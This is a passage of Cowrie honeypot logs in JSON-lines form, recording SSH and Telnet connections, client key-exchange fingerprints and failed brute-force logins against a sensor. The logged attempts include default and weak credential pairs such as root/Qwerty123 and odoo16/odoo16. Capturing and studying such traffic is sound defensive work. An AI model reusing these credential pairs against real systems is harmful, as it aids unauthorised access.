sh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.904415Z","src_ip":"8.219.200.1","session":"c42b85f30ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59156,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c2e219c79aa","protocol":"ssh","message":"New connection: 51.250.105.222:59156 (10.17.0.5:22) [session: 7c2e219c79aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:57.625068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:57.629926Z","src_ip":"51.250.105.222","session":"7c2e219c79aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:57.756433Z","src_ip":"51.250.105.222","session":"7c2e219c79aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"12345678","message":"login attempt [crafty/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:57.840075Z","src_ip":"91.92.42.227","session":"8efe008cdaf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:58.220918Z","src_ip":"51.250.105.222","session":"7c2e219c79aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43206,"dst_ip":"10.17.0.5","dst_port":22,"session":"e108477b3df4","protocol":"ssh","message":"New connection: 91.92.42.227:43206 (10.17.0.5:22) [session: e108477b3df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:58.403709Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:58.887589Z","src_ip":"8.219.200.1","session":"c42b85f30ecd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:59.136928Z","src_ip":"91.92.42.227","session":"e108477b3df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:59.139770Z","src_ip":"91.92.42.227","session":"e108477b3df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:59.348626Z","src_ip":"51.250.105.222","session":"7c2e219c79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:00.183615Z","src_ip":"91.92.42.227","session":"8efe008cdaf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43280,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a8bcca60ae","protocol":"ssh","message":"New connection: 45.156.87.147:43280 (10.17.0.5:22) [session: 41a8bcca60ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:01.759435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:01.767817Z","src_ip":"45.156.87.147","session":"41a8bcca60ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:01.850174Z","src_ip":"45.156.87.147","session":"41a8bcca60ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:02.112420Z","src_ip":"45.156.87.147","session":"41a8bcca60ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:02.300510Z","src_ip":"91.92.42.227","session":"e108477b3df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:02.492709Z","src_ip":"8.219.200.1","session":"c42b85f30ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:03.198313Z","src_ip":"45.156.87.147","session":"41a8bcca60ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:03.754747Z","src_ip":"91.92.42.227","session":"e108477b3df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5eb8efb3af3","protocol":"telnet","message":"New connection: 94.23.66.112:33470 (10.17.0.5:23) [session: d5eb8efb3af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:06.420898Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54138,"dst_ip":"10.17.0.5","dst_port":22,"session":"11db3ed1c3bf","protocol":"ssh","message":"New connection: 91.92.42.227:54138 (10.17.0.5:22) [session: 11db3ed1c3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:06.773326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:06.777734Z","src_ip":"91.92.42.227","session":"11db3ed1c3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:06.862760Z","src_ip":"91.92.42.227","session":"11db3ed1c3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:07.663692Z","src_ip":"91.92.42.227","session":"11db3ed1c3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43294,"dst_ip":"10.17.0.5","dst_port":22,"session":"feb77f8abe48","protocol":"ssh","message":"New connection: 45.156.87.147:43294 (10.17.0.5:22) [session: feb77f8abe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:08.037779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:08.135000Z","src_ip":"45.156.87.147","session":"feb77f8abe48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:08.139046Z","src_ip":"45.156.87.147","session":"feb77f8abe48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:08.480865Z","src_ip":"45.156.87.147","session":"feb77f8abe48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:08.931958Z","src_ip":"91.92.42.227","session":"11db3ed1c3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:09.565404Z","src_ip":"45.156.87.147","session":"feb77f8abe48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4922b2c6ed85","protocol":"ssh","message":"New connection: 91.92.42.227:54188 (10.17.0.5:22) [session: 4922b2c6ed85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:13.573246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:13.584427Z","src_ip":"91.92.42.227","session":"4922b2c6ed85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:13.656631Z","src_ip":"91.92.42.227","session":"4922b2c6ed85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41654,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c01c0beb535","protocol":"ssh","message":"New connection: 45.156.87.147:41654 (10.17.0.5:22) [session: 0c01c0beb535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:13.984118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:13.988625Z","src_ip":"45.156.87.147","session":"0c01c0beb535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:14.048741Z","src_ip":"91.92.42.227","session":"4922b2c6ed85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:14.070843Z","src_ip":"45.156.87.147","session":"0c01c0beb535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:14.320004Z","src_ip":"45.156.87.147","session":"0c01c0beb535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:15.209378Z","src_ip":"91.92.42.227","session":"4922b2c6ed85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:15.536323Z","src_ip":"45.156.87.147","session":"0c01c0beb535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39430,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78459ce9867","protocol":"telnet","message":"New connection: 172.81.62.90:39430 (159.203.135.109:23) [session: f78459ce9867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:15.723678Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d836989426e4","protocol":"ssh","message":"New connection: 91.92.42.227:50866 (10.17.0.5:22) [session: d836989426e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:19.872230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:20.003655Z","src_ip":"91.92.42.227","session":"d836989426e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-